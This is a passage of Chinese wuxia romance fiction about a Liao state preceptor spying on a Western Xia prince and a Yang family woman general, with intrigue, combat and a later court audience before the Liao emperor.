他能感觉到左臂的经络开始微微发僵,视野边缘偶尔会掠过一丝极淡的黑雾。这毒不致命,但会缓慢侵蚀神智与肌体,是西夏“一品堂”专门用来对付高手的阴损玩意。身后至少还有两拨追兵,一拨是太子宁令哥麾下精锐“铁鹞子”的暗探,另一拨身份不明,但手段更诡谲,像是宫里那位“夜枭”的手笔。 前方出现一小片残存的绿洲轮廓,一潭死水在月光下泛着惨白的光。他脚尖在一株枯木上轻点,身形如夜枭般折向水潭方向。落地时,靴底传来一声极其细微的、令人牙酸的“咔嚓”声。 脚下一具尸体。 是西夏哨兵的装扮,喉骨被干净利落地踏碎,双眼圆睁,空洞地倒映着天上一弯残月。瞳孔里最后凝固的惊骇,是对死亡降临的不可置信,或许还有对来者鬼魅般身手的恐惧。尸体尚温,血还未完全凝固,是半炷香前刚死的。看来除了追他的人,这片绿洲也不太平。 耶律皓南甚至没有低头看一眼,身形已无声滑入水潭边一株巨大的、枝条虬结如鬼爪探向苍穹的古柳阴影之中。背脊贴上粗糙冰冷的树皮,他缓缓吐出一口带着血腥气的浊气,指间无声无息地扣住了三枚细如牛毛、针尖泛着幽蓝光泽的银针。 几乎就在他隐入阴影的同时,月色下,两道身影踏着银沙,分花拂柳般向水潭走来。 男子一袭白衣,在清冷的月光下几乎不染尘埃,行走间衣袂飘拂,恍若踏月而来的仙人。只是那白衣的料子细看之下,隐隐有银线织就的星纹流转,是西夏宫廷秘制的“月华锦”,冬暖夏凉,刀剑难侵。 女子则是一身烈烈的红裳,像一团移动的火焰,灼烧着戈壁夜色的荒凉与死寂。她的红并非正红,而是带着沙场烽烟气息的暗朱色,行动间衣摆猎猎,与男子素白的衣角偶尔交叠,在惨白的月色与银沙映衬下,竟有种惊心动魄的,仿佛雪地骤然溅开鲜血的艳丽与不祥。 “八妹小心些,”白衣男子声音温润,如玉石相击,带着一种刻意的、安抚人心的柔和。他屈指,一道柔和气劲弹出,将一丛生着倒刺、锋利如匕首的骆驼刺无声震开,“此地的骆驼刺异乎寻常,能刺穿辽国上好的牛皮马鞍,莫要划伤了裙裾。” 他侧身让行,动作优雅自然,腰间一枚羊脂白玉佩随着动作轻轻碰撞,发出清越的响声。那玉质极佳,是西夏贵族才配享用的寒玉,触手生温,但在月光下却流转着冰雪般的清辉。玉佩雕刻着简单的云纹,并无任何皇室特有的狼首、鹰隼徽记——至少此刻,在杨八妹眼中,这位自称“元旻”,谈吐风雅、精通诗词琴棋、仿佛对西夏朝堂争斗毫无兴趣的闲散贵人,与“皇子”二字毫无关联。 “李公子莫不是把我当作那些深闺里绣花的娇娥?”杨八妹轻笑出声,笑声清脆,带着沙场女儿特有的飒爽。她甚至没有回头,皓腕一翻,腕间一只看似装饰的金镯脱手飞出,化作一道金光,“叮”一声脆响,将三丈外一只从沙砾中悄然探出毒鳌的沙蝎击得粉碎。“我在穆柯寨劈柴烧火时,这等毒物,只配丢进灶膛当柴烧。” 她抬手,金镯如有灵性般飞回腕间。发间一支蟠龙银簪在月光下闪过一道冰冷的弧光,龙口衔着的明珠微微晃动。 李元旻的目光落在她收回的手上,自然而然地伸手,轻轻执起她的手腕。他的指尖微凉,抚过她指间因常年练枪握剑而生的薄茧,最后停留在那支银簪的龙纹上。“早闻杨门女将素有传统,阵前以银簪束发,锋锐一端朝外,”他指尖摩挲着冰凉的簪身,声线依旧温润,却仿佛带着某种试探的钩子,“据说……是为了一旦力战不敌,被俘受辱前,能以簪自戕,留个全尸?” 杨八妹指尖几不可察地微微一颤,脸上笑容不变,眼底却掠过一丝锐光。她倏地抽回手,动作快如闪电,簪尖在空中划出一道银线,却不是攻击,而是精准地挑向李元旻腰间悬着的一枚小巧锦囊。 “咔哒”一声,锦囊系绳被挑开,一股混合着漠北苦寒之地特有草木清气的药香弥漫开来。 “好雅致的祛疤膏,”杨八妹用簪尖挑起一点淡青色的膏体,凑到鼻尖轻嗅,随即抬起眼,目光如电,直刺李元旻含笑的双眸,“里面掺了漠北苦寒之地才有的‘紫芯参’粉。此物罕有,专克辽国巫蛊之术中几种阴损的腐毒……李公子随身带着这等物事,莫非是早知今夜,会有身中辽国蛊毒之人,潜入这片绿洲?” 她的语气带着三分嗔怪,七分探究,尾音微微上扬,仿佛真的只是在责怪一位相熟故交的隐瞒。然而,她另一只始终自然垂在身侧的手,指尖已悄然按在了腰间佩剑的剑柄之上,位置不多不少,正是出鞘最快,力道最猛的三寸之处。 古柳虬枝的阴影深处,耶律皓南指间那三枚淬毒银针,因内力瞬间的激荡而发出几乎微不可闻的颤鸣。他屏息,眼中寒光如冰锥。 好一个李元旻!每一句看似关怀体贴的话语,都藏着不易察觉的机锋与试探。而那杨八妹,看似被对方风月手段所惑,实则警惕未减分毫,娇嗔质问之下,杀机暗藏。 他想起了三日前截获的那封密报,以一品堂特殊药水写就,只有用辽宫秘法才能显形——“太子宁令哥密会野利族酋长于黑水城,许以后族之利,欲借其力清剿‘闲云’。” 野利氏,西夏后族,军中势力盘根错节。而眼前这位“闲云野鹤”的二皇子,偏偏在此敏感时刻,出现在这毗邻辽境、局势微妙的绿洲,身边还跟着一位杨门核心女将。 “好一招请君入瓮,还是……螳螂捕蝉?”耶律皓南无声地牵了牵嘴角,那是一个毫无温度的弧度。若此人真无心帝位,只爱山水书画,何须暗中培植专门克制辽国秘毒的手段?又怎会对杨门女将阵前习俗,辽国蛊毒特性了如指掌? 他的目光掠过杨八妹被月光勾勒的侧脸,那眉宇间的勃勃英气,明亮灼人的眼眸,利落果决的身手……恍惚间,与记忆深处另一张脸庞重叠。那是很多年前,在天门阵前,那个举着烧火棍,不管不顾挡在他身前的丫头,也是这般明媚,这般热烈,像一团扑不灭的野火。 可终究不同。 眼前这位杨家女儿,是烈火淬炼过的精钢兵刃,寒光凛凛,自有其不容逾越的准则与骄傲。而他的排风……耶律皓南喉结滚动,压下心头骤然翻涌的复杂情绪。他的排风,是甘愿为他融进血里的炭火,炽热、纯粹,甚至带着几分不顾一切的傻气,烧尽了自己所有的底线,只为暖他一身冰寒。 就在这时,一直平静无波的潭水,忽然毫无征兆地漾开一圈涟漪。 涟漪的中心,李元旻不知何时已走到潭边。他背对杨八妹,手腕一翻,一柄镶着宝石的精致匕首已握在掌心。没有看向耶律皓南藏身的方向,他甚至没有刻意遮掩动作,只是用匕首锋利的刃尖,对着自己左手掌心,轻轻一划。 一道血线浮现,随即,殷红的血珠凝聚、滴落,坠入幽暗的潭水。 嗤——! 血珠入水的刹那,并非寻常的扩散溶解,而是化作数缕极细的、诡异的青绿色烟雾,袅袅升起,在月光下格外醒目,又迅速消散在夜风中。 耶律皓南瞳孔骤缩。 西夏皇室秘传的“噬蛊术”!以嫡系血脉之血为引,可激发、亦可验证血脉中传承的古老巫力。此术非核心皇族不可得,且极为耗费心神精血。李元旻此刻施展,绝非为了验证自己血脉那般简单——他是在“净化”潭水,或者说,是在向可能潜伏在附近的,身中辽国蛊毒或携带蛊虫之人,无声地宣告自己的身份与能力。 杨八妹眸光瞬间一凝。她显然也认出了这诡异的皇室秘术,脸上掠过一丝极淡的惊讶,随即迅速被复杂的情绪取代。她没有后退,反而上前一步,动作几乎是下意识地,从自己绯色的袖口内侧,“刺啦”一声,撕下一条干净的里衬布料。 “公子这是何苦。”她的声音低了些,带着一种难以言喻的复杂。上前不由分说地拉过李元旻划伤的手掌,低头用撕下的布条,仔细地,一圈一圈地为他包扎伤口。她的手指纤长而有力,动作却放得极轻,指尖缠绕布条时,灵巧如蝶穿花,带着一种战场上少见的、近乎温柔的细致。 柳影深处,耶律皓南的呼吸,几不可察地滞了一瞬。 眼前这刺目的一幕,与记忆深处某个被血色与地牢阴冷浸透的片段,轰然重叠。 那是多年前,在一线天的地下石城,他旧伤崩裂,血流如注,那个明明自己也吓得脸色发白、手都在抖的烧火丫头,却咬着牙,撕下自己本就破旧的衣袖,死死按在他的伤口上。她一边笨拙地包扎,一边还试图用走调的汴京小调哼着歌,想驱散那令人窒息的恐惧和血腥。汗水混着血污,从她额角滚落,滴在他染血的衣襟上,晕开一小片深色…… 而此刻,杨八妹发间那枚随着她低头动作而轻轻摇曳的珍珠耳坠,晃动的微光,恰好与记忆中那滴汗珠重合。 可当年那个愿为他叛出杨家、与他共堕无间也在所不惜的傻丫头,此刻正怀着他们的骨肉,在遥远的辽国上京,独守国师府,替他点亮一盏归家的孤灯。 而眼前这位更耀眼、更符合世人心中“杨门巾帼”形象的杨家女儿,却将这份战场上罕见的、带着温度的细致与温柔,给了一个连真实姓名都未向她吐露的敌国皇子。 喉间猛地涌上一股腥甜,被他强行压下。指尖深深掐入掌心,几乎要刺破皮肤。 “排风……” 他无声地念出这个名字,另一只拢在袖中的手,指腹摩挲着袖袋里那半块温润的玉佩。当年阵前诀别,他推开她伸来的手,说“你我殊途,终究难归”,以为斩断的是彼此的牵连,却不知斩不断的是她焚心蚀骨的痴念。 而此刻,他看见杨八妹为李元旻包扎好伤口后,极为自然地后退了半步,与对方拉开了一个礼貌而疏离的距离。那距离恰到好处,是战友,是盟友,是互有好感的男女,却绝非可托付生死的眷侣。 原来,同为杨家女儿,同样的明媚刚烈,痴情亦有底线。 唯有他的排风,傻得透彻,痴得纯粹,敢把所有的底线、原则、乃至身后名,都亲手碾碎,铺成一座摇摇欲坠、却固执地通向他的、满是荆棘的桥。 “沙沙……喀啦……” 枯死的灌木丛深处,传来铁甲叶片摩擦与沙砾被沉重脚步踩踏的细微声响,由远及近,迅速变得清晰而密集! “在那里!围住!” 厉喝声划破夜的寂静,五道黑影如同从沙地中暴起的毒蝎,撞开枯枝,破沙而出!清一色的西夏“铁鹞子”轻骑装扮,黑甲覆面,只露一双冷酷的眼睛,手中劲弩已然上弦,冰冷的箭镞在月光下闪烁着淬毒的幽蓝寒光,齐刷刷对准了潭边的李元旻与杨八妹。 为首一人,目光如鹰隼,死死锁住李元旻,声音嘶哑如砂纸摩擦:“奉太子殿下令!诛杀私通宋将、图谋不轨的叛国者李元旻!格杀勿论!” 话音未落,五支弩箭已撕裂空气,带着凄厉的尖啸,分取李元旻周身要害!箭速极快,角度刁钻,封死了他所有闪避的空间。 耶律皓南指间银针幽蓝光芒骤盛,几乎就要脱手射出——此刻正是天赐良机!李元旻身份暴露,追兵骤至,他只需一枚银针,稍稍改变一支弩箭的轨迹,或是暗中送上一道掌力,便能“助”铁鹞子一臂之力,让这位二皇子“意外”死在太子亲卫的箭下。西夏内乱将起,宁令哥与野利氏将成众矢之的,辽国坐收渔利…… 然而,就在他内力将发未发之际—— “哼!” 一声清越的冷哼,伴随着清脆的金铁震鸣之音炸响!只见杨八妹身形如一团燃烧的朱红烈焰,猛地旋身。她身上那件暗朱色披风随着剧烈的旋转被甩脱,如同巨大的火鸟羽翼展开,其上缀满的细小金铃在急速旋转中疯狂震响,发出急促而尖锐、直钻脑髓的“铃铃”声! 这声音并非普通铃响,显然蕴含了某种扰乱心神的内力法门。五名铁鹞子骑兵明显身形一滞,眼中掠过瞬间的恍惚,手中弩箭的准头亦不免偏了分毫。 就是这分毫之差! 杨八妹与李元旻仿佛早有默契,在披风甩出的刹那,已背靠而立。李元旻手中那支看似装饰的玉笛闪电般移至唇边,不见吹奏,只听“嗤嗤嗤”数声极其轻微的破空声,数道细如牛毛的乌光从笛孔中激射而出,后发先至,精准地撞在几支已至面前的弩箭箭镞之上! “叮叮”几声脆响,弩箭轨迹被撞得微微偏斜,擦着两人身侧掠过,深深没入沙地。 而杨八妹的剑,在她旋身甩氅的瞬间已然出鞘!剑光如匹练,在月光下划出一道凄艳的弧,并非格挡,而是直取最近两名铁鹞子的咽喉!快、准、狠,毫无花哨,是沙场百战淬炼出的杀人技。 与此同时,李元旻玉笛再响,这次是清越的笛音,音波凝如实质,直冲另外三人面门。那三人如遭重击,闷哼一声,动作再次迟滞。杨八妹的剑光已如附骨之疽般跟至。 剑光闪,血光现。 兔起鹘落,不过呼吸之间。五名精锐铁鹞子,两人喉间绽放血花,仰面倒地;另外三人被音波所伤,心神震荡间,也被杨八妹紧随其后的剑招或刺中要害,或挑断手筋,失去战力。 整个配合行云流水,天衣无缝。杨八妹主攻,剑势凌厉,李元旻策应,以音律扰敌、暗器破箭,两人背靠背,竟无一丝多余动作,仿佛已这般并肩作战过千百回。 耶律皓南扣在指间的银针,缓缓松了力道,最终,被他无声地碾成齑粉,从指缝间簌簌落下。 “罢了。” 他心中无声吐出这两个字,身影如鬼魅般向后滑去,融入更深的黑暗。趁乱袭杀李元旻,嫁祸宁令哥,本是最佳选择。但就在杨八妹旋身出剑,格杀最后一名铁鹞子的瞬间,他锐利的目光,捕捉到了她因剧烈动作而微微侧过的脖颈。 在她侧颈靠近耳下的位置,一道寸许长的旧疤,因发力而微微泛红。那疤痕的形状、位置……竟与当年,杨排风在卢家地牢中,为他 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没有犹豫,他抬手,将一直紧握在掌心,已被体温焐得温热的半块染血的,从某个死者身上搜出的玉质信物,狠狠砸向那个名字! “啪!” 玉石碎裂,羊皮也被砸破。碎玉与墙皮簌簌落下。 他看也不看那碎裂的玉石和名字,转身对着角落里阴影中一个瑟瑟发抖、被他特意留下的活口,声音冷得仿佛能冻裂这地窖里污浊的空气: “告诉李元旻。” “他欠辽国国师一条命。” “用他兄长,太子宁令哥的项上人头来还。” 西夏边境,一品堂某隐秘暗室。 烛火在密闭的石室内摇曳不定,火苗拉扯出细长扭曲的影子,投在墙壁上,像垂死蝶翼最后的挣扎。昏黄的光,将铺在厚重木桌上那张巨大羊皮地图的沟壑映得格外分明,尤其是贺兰山东侧几处隘口,用朱砂标注的标记,在光下鲜艳欲滴,仿佛随时会淌下血来。 李元旻坐在桌前,一身素白常服早已换下,此刻是一身便于行动的深青色劲装,袖口紧束。他正提着一支狼毫小楷,就着烛光,在地图上一处山谷要道的侧旁,细细勾勒一条极其隐蔽的、几乎与等高线重合的小径。笔尖蘸饱了墨,悬于羊皮之上,映出一点浓黑的、颤动的影。 忽然,那墨影极其轻微地、诡异地晃动了一下,仿佛被一粒无形石子击中的水面。 李元旻笔尖一顿,一滴饱满的墨汁坠落,在“野狐岭”三字旁晕开一小团污迹。他却没有抬头,甚至连笔都未放下,只是笔锋一转,顺着那滴墨迹,自然地将小径的线条延伸了半分,仿佛只是凝神构图时的偶然停顿。 “耶律兄夤夜来访,可是边关风沙太大,想讨一杯用贺兰山雪水烹的雪莲茶,清清肺腑?” 他的声音平静无波,甚至带着一丝恰到好处的、仿佛招待不速之客的淡淡无奈。袖口沾了点方才晕开的墨渍,他却毫不在意。腕骨清瘦,上面没有西夏皇子常见的、象征身份的金环玉镯,只松松系着一条颜色已有些黯淡褪色的五彩丝绳——那是三日前,杨八妹在绿洲暂歇时,随手用身上携带的丝线编就,扔给他的所谓“宋夏盟约之结”,当时笑语嫣然,说“以此暂代国书”。 无声无息,一道玄色身影仿佛是从烛火阴影最浓处“流淌”出来,凝聚在室内。耶律皓南依旧是一身染尘带血的夜行衣,只是肩头伤口似乎草草处理过,不再渗血。他踏入室内的瞬间,屈指一弹,一道细微劲风掠过,桌边烛台上那摇曳的烛火“噗”地一声轻响,火苗猛地蹿高寸许,炸开几星耀眼的金芒。 这骤然亮起的火光,恰好照亮了李元旻面前桌案一角,一只半开的紫檀木扁匣。匣中并无兵符印信,只静静躺着一卷书页泛黄的古籍,封皮上是《陶渊明集》四个清隽楷字。书页间,夹着几片早已干枯、却依旧能看出原本晶莹形态的雪莲花瓣,似有幽香残存。 耶律皓南的目光在那书匣上停留一瞬,玄色衣袍因他站定而缓缓垂落,带起一股戈壁夜风的腥气与淡淡血气。他抬起手,袖口处一道新鲜的、被利刃划破的裂痕赫然在目,边缘还沾着暗沉的血迹。 “李兄倒是好雅兴,”他开口,声音比这石室深处的寒意更冷,“于边关刀兵之地,月下与杨门巾帼执手赏星,论剑谈诗。却不知那位八娘子可曾有幸得见——” 他话音未落,指间寒光一闪!一枚细长银针破空而出,发出尖锐短促的嘶鸣,“夺”地一声,深深钉入桌上羊皮地图正中央“兴庆府”三个大字之上!针尾兀自高频颤动,发出“嗡嗡”低鸣,宛如毒蛇吐信。 “——你腰间这枚螭纹龙佩,在内壁夹层之中,以微雕秘法镌刻的那一行‘李元昊之同母弟,旻’的小字?” 室内空气骤然凝固,只剩下银针颤动的余音。 李元旻终于放下了那支狼毫笔。笔端一滴将坠未坠的墨汁,滴落在“野狐岭”旁,迅速泅开。他缓缓抬起眼,看向耶律皓南,脸上依旧没什么表情,只是那双总是含笑的、如春水般温润的眼眸深处,似乎有什么东西沉淀了下去,变得幽深难测。 他没有去碰腰间那枚螭纹佩,反而伸手入怀,取出另一物,轻轻置于桌上烛火旁。 那是一块半个巴掌大的白玉佩,玉质温润如凝脂,在烛光下流淌着内敛的光华。玉上以极精湛的刀工,刻着《归去来兮辞》中的几句。然而,耶律皓南目光如炬,一眼便看到,在那“云无心以出岫,鸟倦飞而知还”的“还”字最后一笔勾连处,玉质纹理中,竟嵌着一丝比头发还要细、在特定光线下才会泛出淡金色的奇异纹路——隐脉纹!西夏开国皇帝李元昊以秘法镌刻于传国玉玺、唯有历代帝王及极少数核心血脉方能继承的皇室秘记! 李元旻的指尖,轻轻抚过那个“还”字,指腹摩挲着那丝金纹,声音平静得像是诉说他人故事:“先妣(亡母)弥留之际,握着我手,只说了一句,‘宁为玉碎,不为瓦全’。” “这缕金纹,”他抬起眼,直视耶律皓南,“是枷锁,锁着我此生不得逍遥。却也是……我唯一能想到的,或许有朝一日,能保她一线生机的‘免死铁券’。” 言罢,他忽地俯身,从桌案底下暗格中,抽出一卷画轴,手腕一振,画轴“唰”地展开。 画上是漫天飞雪,贺兰山麓。一道红衣劲装的身影正在雪中舞剑,身姿矫若游龙,剑光与雪光交映,女子侧脸明艳,眉目飞扬,正是杨八妹。画旁提着一行瘦金小楷,墨迹犹新:“愿弃麟阁千钟粟,换卿雪中一笑颜。元旻。” “弃爵”二字,笔锋凌厉,力透纸背。 “咣当——!” 就在这时,石室入口厚重的毛毡门帘被一股疾风猛地掀起!浓烈的羌药苦涩气息率先涌入,紧接着,一道绯红身影僵立在门槛处。 杨八妹手中捧着一只热气腾腾的药碗,显然是刚刚煎好送来。她的目光先是落在耶律皓南染血的袖口,瞳孔一缩,随即,像是被无形之力牵引,猛地钉死在李元旻腰间——那枚螭纹佩在跳跃的烛火下,侧面某个角度,那缕唯有在特定光线下、以特定内力激发方能显形的“隐脉纹”金丝,骤然闪过一丝微光! 那金丝的质地、光泽、乃至隐隐透出的奇异波动……与她怀中贴身暗藏的那枚代表杨门最高权限、可调动边军部分力量的“破虏令”上,以杨家秘法镶嵌的验证金丝,几乎同源同工!那是大宋皇室赏赐给功勋世家的特殊金料,流向外邦的可能性微乎其微,除非…… 药碗从她骤然失力的指间滑落,重重砸在青石地板上,瞬间四分五裂!滚烫的褐色药汁四溅开来,浸透了她绯红的裙裾,在石板上蔓延开一片污浊的狼藉。 然而,比药碗碎裂更快的,是一道雪亮的寒光! 杨八妹袖中,一柄长不盈尺的银亮短刃如毒蛇吐信般滑出,刃尖在空中划过冷电,下一瞬,已稳稳地横在了李元旻的咽喉之前!刃身距离他的皮肤,不过毫厘。 她的手指稳如磐石,眼神却如碎裂的冰湖,汹涌着震惊、被欺瞒的愤怒、以及一种深切的寒意。她的声音因为极力压制情绪而微微发颤,却字字如冰珠砸落: “刀柄上这个‘忠’字……用的是宋廷内库失传已近百年的‘错金回纹’秘法!我杨家祖上因功得赐此法,仅传家主!你……”她的目光死死锁住李元旻骤然苍白的脸,“你连我杨家世代传承、绝不外泄的技艺,都仿得如此精熟?!李元旻……不,我该叫你什么?二皇子殿下?还是……未来的西夏国主?” 最后几个字,已是咬牙切齿。 李元旻没有动,甚至没有试图避开那近在咫尺的、散发着凛冽杀气的刃尖。他喉结滚动,感受着皮肤被冰冷锋刃压迫的触感,一丝极细的血线,缓缓从刃尖压出处沁出。 他却忽然笑了,笑容里满是苦涩与某种决绝。他抬起手,不是去格挡短刃,而是将掌心那块刻着“归去来兮辞”的白玉,轻轻放入杨八妹因紧握短刃而骨节发白、微微颤抖的手中。 “八妹……”他声音低哑,却清晰地传入她耳中,“你还记得,贺兰山初雪那夜吗?你问我,若你我出身注定敌对,当如何。” “我说……”他深深望入她燃烧着怒焰的眼眸,“‘若你我注定殊途,我愿削足适履。’” 话音未落,他另一只手猛地抓住自己胸前衣襟,狠狠一扯! “嗤啦——” 结实的衣料被撕裂,露出肌理分明的胸膛。而在心口正中,一道狰狞的、显然曾被利箭穿透的旧疤,赫然在目!疤痕深重,皮肉扭曲,即使已愈合多日,依旧能想象当初伤势之重、之险。 “这道疤,”李元旻的声音带着一丝压抑的颤抖,目光却一瞬不瞬地看着杨八妹,“是半年前,你在灵州遭伏,粮道被截。我得到消息,来不及调动人马,只能孤身一人,用自己做饵,引开追兵中最精锐的一队铁鹞子……在乌鸦峡,留下的。” “那时,”他向前逼近半分,颈间的短刃因而陷得更深,血珠渗出更多,他却浑然不觉,只是死死看着她骤然收缩的瞳孔,“我若告诉你我是西夏的二皇子,告诉你我能调动兵马替你解围……杨将军,”他换了称呼,语气冰凉,“你可还会为我那一身是血的模样……哭红了眼眶?” 杨八妹握着短刃的手,几不可察地颤抖了一下。那道疤痕的位置、形状……与她记忆中那次凶险的遭遇完全吻合!那次她被困山谷,险些全军覆没,是“李元旻”如同神兵天降,浑身是血地带来援兵消息,自己却力竭昏迷。她守了他三天三夜…… 耶律皓南不知何时已负手立于窗边,背对着室内这激烈的一幕。他指间捻着一枚磨损严重的铜钱,缓缓碾过窗棂上凝结的霜花,发出细微的“沙沙”声。窗外夜色浓稠,几只寒鸦被室内骤然迸发的杀气惊起,“呱呱”怪叫着扑棱棱飞走。 就在寒鸦惊飞的刹那,耶律皓南拢在袖中的手指极其细微地一弹。 半截焦黑、扭曲、依稀能看出曾是簪子形状的东西,从他袖底滑出,无声地掠过杨八妹因激动而散落的一缕鬓发。 “叮”一声极轻的脆响。 是那半截焦黑发簪,与杨八妹因方才剧烈动作而松脱、正缓缓飘落的一小截断发,碰在了一起,又各自落下。 那发簪,是杨排风当年在地牢,用烧红的烧火棍,笨拙而用力地为他烙下的“同心扣”,粗糙、丑陋,却烫进了彼此的血肉承诺。而那截断发与褪色的五色绳,则象征着杨八妹刚刚亲手斩断的,曾以为纯净无瑕的情谊与盟约。 一个,是焚尽一切也要相连的痴缠。 一个,是发现真相便毅然斩断的决绝。 耶律皓南没有回头,声音冷澈,穿透了室内凝滞的空气: “李元昊麾下‘夜枭’第三组,已于三日前分批潜入延州。为首者,野利遇乞。” 他顿了顿,如同宣判。 “你幼时乳母的独子,你曾替他顶过偷吃御糕之罪的‘好兄弟’。他认得你手中,所有暗桩的联络方式与人员名单。” “哐当!” 李元旻仿佛被无形重锤击中,踉跄着向后倒退一步,撞上了身后的檀木地图架。架子上卷起的羊皮地图被震得滑落展开,飘落在地。 摇曳的烛光下,赫然可见,在那标注着“野狐岭”险要隘口的朱砂标记旁,一条以极淡墨迹添加的、几乎难以察觉的隐秘小径蜿蜒深入山脉,而在小径的尽头,被人以朱砂,轻轻点了一个小小的、却无比清晰的——杏花状印记。 那是几日前,杨八妹指着地图,半开玩笑说“来年春日,若两国息兵,或许可同去这山谷看看,听说那里有塞外罕见的野杏林”的地方。 他染着自己颈间沁出血的手指,猛地死死攥住了地图的边缘,羊皮发出不堪重负的“吱嘎”声。眼中最后一丝“闲云野鹤”的淡然假象彻底崩碎,取而代之的,是冰冷的、属于西夏皇子的铁血与戾气。 “野利……遇乞……”他从齿缝间挤出这个名字,每个字都浸着寒意与一种被至亲背叛的痛楚,“他三岁那年,偷吃父皇赏我的金丝酪……是我拉住他,说是我贪嘴吃的。” 檐下不知何处传来的铜铃,被夜风吹动,发出凄清悠长的哀鸣,在寂静的夜里传出去很远。 耶律皓南终于缓缓转过身。他摩挲着袖中那半截焦黑发簪粗糙的、烙痕深刻的表面,目光却穿透摇曳的烛火与碎裂的瓷片,仿佛看到了窗外那道决然离去的绯红背影——就像当年,杨排风拖着烧火棍,不管不顾追出天门阵的模样。 可终究不同。窗外的红影再像,也终究不是她。 他清晰地记得,天魔阵崩毁那夜,乱石飞溅,烈焰焚身,那丫头自己也被气浪冲得口吐鲜血,却还是连滚爬爬地扑过来,撕下自己仅剩的、还算干净的袖口布料,死死按住他断裂的腿骨,一边按一边还仰着沾满血污和烟灰的脸,冲他露出一个比哭还难看的笑,嘿嘿道:“管你是人人得而诛之的大魔头,还是什么辽国国师……反正,我杨排风这辈子,是赖定你了!” 而此刻,李元旻缓缓跪倒在地,颤抖的手指徒劳地想要拾起地上那几块摔成碎片的、象征“归去”之愿的白玉碎片,指节因用力而泛出青白。那份绝望中透着的孤注一掷的痴顽,与当日杨排风的决绝,何其相似。 却又截然不同。一个想“归”而不得,一个却“赖”上了就不回头。 “咻——!” 就在室内死寂、唯有李元旻粗重喘息与铜铃哀鸣的刹那,暗处毫无征兆地传来一声极其轻微、却令人毛骨悚然的——弩机扣动之声! 耶律皓南眼神一厉,头也未回,反手便将指间那枚一直捻着的铜钱弹出! “噗!” 铜钱破空,精准地击中唯一燃烧的烛火灯芯。火光瞬间熄灭,整个石室陷入一片绝对黑暗。 黑暗中,只听得衣袂带风之声骤起,伴随着李元旻一声压抑的闷哼。 耶律皓南冰冷的声音,在伸手不见五指的黑暗里响起,近在咫尺,带着血腥的杀意与不容置疑的命令: “想护住她?” “先学会……” “用你兄长,太子宁令哥的项上人头,来盛本座的庆功酒。” “咔嚓!” 是骨骼被扣紧的细微声响,以及碎玉进一步被碾磨的刺耳声音。 几滴温热的液体,在黑暗中滴落,恰好落在摊开于地、那卷《陶渊明集》散开的书页间,那几片早已干枯的雪莲花瓣上。 血珠缓缓渗入花瓣枯萎的脉络。 而在那花瓣的背面,无人看见的黑暗中,接触了鲜血之后,竟缓缓浮现出淡淡的、荧光般的线条——那是一幅详尽到令人发指的,宋夏边境线上,整整三十六处秘密暗桩、补给点、以及应急通道的分布详图。 17. 风雪夜归人 承天皇太后帐殿的夜,深得仿佛能拧出墨汁。巨大的琉璃灯树从殿顶垂落,数百盏灯火在剔透的琉璃盏中静静燃烧,投下无数道交错重叠、光怪陆离的影子,将殿内每一寸空间都割裂成明暗不定的碎片。空气中弥漫着龙涎香沉郁的气息,混合着陈年木料与墨锭的味道,庄严,压抑。 九重月白色的轻纱帷幔自殿顶垂落,在几乎感觉不到的气流中微微拂动。帷幔之后,御案之旁,萧太后端坐如玉塑,一只保养得宜的手搁在紫檀木的案面上,食指的指尖,正以一种极其轻微、却富有节奏的力度,一下,一下,轻叩着光滑的木面。“笃、笃、笃……”声音不大,在过分安静的大殿中,却清晰得让人心头发紧。 御案之前,数丈之外,耶律皓南正以标准的臣子礼,深深跪伏于冰冷的金砖地面。 他身上的玄色国师官袍,即使在昏暗的灯光下,也能看出一路风尘的狼狈。袍角与下摆处,沾满了已经干涸发黑、板结成块的戈壁泥浆与沙砾。更有几处不明显的破损,边缘毛糙,像是被利器或荆棘勾划所致。 当他保持着跪伏的姿势,肩背因为用力而微微绷紧时,左肩后侧的官袍衣料下,一道新愈不久的伤疤边缘,在粗糙衣料的摩擦下,传来一阵阵隐隐的、持续不断的刺痛与麻痒。那是两个多月前,在西夏边境的戈壁滩上,被“铁鹞子”精锐的淬毒弩箭贯穿所留下的。箭头带着西夏特有的“黑水腐筋毒”,虽经随行医官与他自身内力拼力逼出、清理,但长达数月的亡命奔逃、缺医少药、时刻紧绷,根本无法好好将养。伤口表面愈合了,内里的经络与肌理却未能完全复原,留下了这难缠的隐患。此刻稍一用力,便是针刺般的提醒。 自暮春时节领命离京,护送兴平公主前往西夏和亲,至今日仲秋夜深归来,其间经历了西夏宫廷的诡谲风波、贺兰山祭坛的生死搏杀、戈壁大漠中无休无止的追截围堵……时间竟已过去五个月有余,五个月的亡命奔波,五个月的刀头舔血,五个月的殚精竭虑。 御案之后,辽主耶律宗真并未急于让他起身。年轻的帝王手中握着一支朱笔,正在一份摊开的奏章上缓缓移动。奏章的内容,耶律皓南即使不看也能猜到几分——无非是南院那些对他这个“北汉遗脉”出身的国师早就心怀不满的臣子,趁他不在京中,弹劾他“擅权自专”、“边衅频生”之类的老生常谈。 朱笔在某个词句上顿了顿,耶律宗真这才抬起眼,目光越过御案,沉静地、却带着帝王天然威压地落在耶律皓南低伏的背脊上。 “国师此行,历时五个月有余。” 年轻帝王的声音平稳,不带多余情绪,“李元昊既已应下和亲,纳了兴平,朕近日却接连收到榆林、东胜等处边报,言其盐、夏诸州兵马频繁异动,演武操练之频远超常例,甚至……” 他的声音微微一沉,“有小股精锐游骑,屡次试探性越过界河,与我边军发生零星冲突,虽未酿成大衅,但挑衅之意昭然。” “此等反复无常、边境不宁之象,国师……作何解?” 问的是“作何解”,而非“如何看”,其中的压力与质询之意,不言而喻。 耶律皓南的身体保持着恭敬的姿态,未有丝毫动摇。他缓缓抬起上身,但仍旧跪着,伸手自怀中取出一个以火漆严密封缄的狭长铜筒,以及数卷用皮绳仔细捆扎好的羊皮纸卷。铜筒内是西夏正式递交的国书,羊皮卷则是他一路奔亡中,凭借记忆与零星获取的情报,抽空整理绘制的边情概要、地形标注以及人事变动分析。 他双手将铜筒与羊皮卷高举过顶。在他抬手的瞬间,因为用力,右手掌缘一道深刻的、已经结痂的暗红色勒痕,在皮肤下微微泛出白色。那是连日连夜、几乎不眠不休地控缰疾驰,坚硬的皮革马缰与粗糙的防风布手套长时间剧烈摩擦留下的印记,深可见肉,如今稍一用力,仍有隐痛。 “陛下明察。” 